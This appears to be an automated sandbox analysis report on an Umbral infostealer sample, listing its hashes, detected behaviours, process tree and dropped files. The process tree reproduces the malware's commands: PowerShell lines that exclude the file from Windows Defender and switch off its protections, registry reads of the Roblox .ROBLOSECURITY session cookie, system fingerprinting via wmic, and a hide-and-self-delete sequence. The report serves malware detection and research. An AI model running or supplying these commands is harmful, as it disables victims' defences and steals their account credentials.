Analysis

  • max time kernel
    140s
  • max time network
    123s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-05-2024 17:37

General

  • Target

    628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe

  • Size

    232KB

  • MD5

    afbe250f9d941daf1fc895e29d0b2821

  • SHA1

    9aeaa55efa56702a0c2694ff2de3a5c6df7b03ac

  • SHA256

    628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6

  • SHA512

    177ddc51032af306d32c0826efddfa3be5e68621b440be764fba7ad37fd982fb58d7e902e4eb258fe50bbd236f82457e45e7d12a885c78314b304e72fb0f2c94

  • SSDEEP

    6144:tloZMDXU9Zx0kt8X0/PSCsMpwpf3tW+x5R0STTKN0b8e1mKISi:voZnf0kkPQwpf3tW+x5R0STTKm2

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe
    "C:\Users\Admin\AppData\Local\Temp\628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4556
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1984
    • C:\Windows\SYSTEM32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe"
      2⤵
      • Views/modifies file attributes
      PID:1244
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3092
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2516
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2996
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2224
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1524
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
        PID:1676
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        2⤵
          PID:3844
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1236
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:4220
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\628d7cd6016b226c4e5e5252b29dc89e42d30ffebfb489e36857079aad591ce6.exe" && pause
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2304
          • C:\Windows\system32\PING.EXE
            ping localhost
            3⤵
            • Runs ping.exe
            PID:4764

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        77d622bb1a5b250869a3238b9bc1402b

        SHA1

        d47f4003c2554b9dfc4c16f22460b331886b191b

        SHA256

        f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

        SHA512

        d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        948B

        MD5

        1a58f982c18490e622e00d4eb75ace5a

        SHA1

        60c30527b74659ecf09089a5a7c02a1df9a71b65

        SHA256

        4b7f800c0dea209162cc86627983993127eb20e3f8616646c41cb3ce15d9b39d

        SHA512

        ddab516a967783c5951717853aa5b3ef6dd5b442db50092888b2e7f3179fc68120fcde69a08d6ab280740eaadb6eadfc758c3118b52706f869e48ac1aebda480

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        2a75c2057536d71d287d7cefff04eec3

        SHA1

        c61131dee25db97244118daaf982c0bd1389b8b4

        SHA256

        93cf99b87df289b80cc8be11623fbb0b09812f2dcee9986e76cedb188ca942a0

        SHA512

        1d8877aeade86757fb7d37b54abf27e8d6579a7a51bcbba549bcfd0c66a2b4383ab7f34eb4621c031262df4e5266332e1427f64af268922e24c24ed9ca94f150

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        ca58d1913d3261f116a299095e04f734

        SHA1

        941d13d0c8c65adb6513f23991acfa0d62facdea

        SHA256

        755daf72f2f5e983abb009c3b1eef4c7c660999f5ff581545bbcae7088c17c69

        SHA512

        87b0d8c9a5348235e9ad6416e09665764db1af408bf763857dc40e39411fa0cf405e3e8b9f0b8540c72aa874059d1dee865aa0cff8dba0fde5779ec9480b5e40

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aucxzyr5.w53.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/3092-4-0x00007FFFA1920000-0x00007FFFA23E1000-memory.dmp

        Filesize

        10.8MB

      • memory/3092-14-0x0000015E75FC0000-0x0000015E75FE2000-memory.dmp

        Filesize

        136KB

      • memory/3092-15-0x00007FFFA1920000-0x00007FFFA23E1000-memory.dmp

        Filesize

        10.8MB

      • memory/3092-18-0x00007FFFA1920000-0x00007FFFA23E1000-memory.dmp

        Filesize

        10.8MB

      • memory/3092-3-0x00007FFFA1920000-0x00007FFFA23E1000-memory.dmp

        Filesize

        10.8MB

      • memory/4556-34-0x000001C5D0620000-0x000001C5D0670000-memory.dmp

        Filesize

        320KB

      • memory/4556-33-0x000001C5D06C0000-0x000001C5D0736000-memory.dmp

        Filesize

        472KB

      • memory/4556-35-0x000001C5B7CD0000-0x000001C5B7CEE000-memory.dmp

        Filesize

        120KB

      • memory/4556-0-0x000001C5B5F20000-0x000001C5B5F60000-memory.dmp

        Filesize

        256KB

      • memory/4556-1-0x00007FFFA1923000-0x00007FFFA1925000-memory.dmp

        Filesize

        8KB

      • memory/4556-71-0x000001C5B7CC0000-0x000001C5B7CCA000-memory.dmp

        Filesize

        40KB

      • memory/4556-72-0x000001C5D0690000-0x000001C5D06A2000-memory.dmp

        Filesize

        72KB

      • memory/4556-2-0x00007FFFA1920000-0x00007FFFA23E1000-memory.dmp

        Filesize

        10.8MB

      • memory/4556-90-0x00007FFFA1920000-0x00007FFFA23E1000-memory.dmp

        Filesize

        10.8MB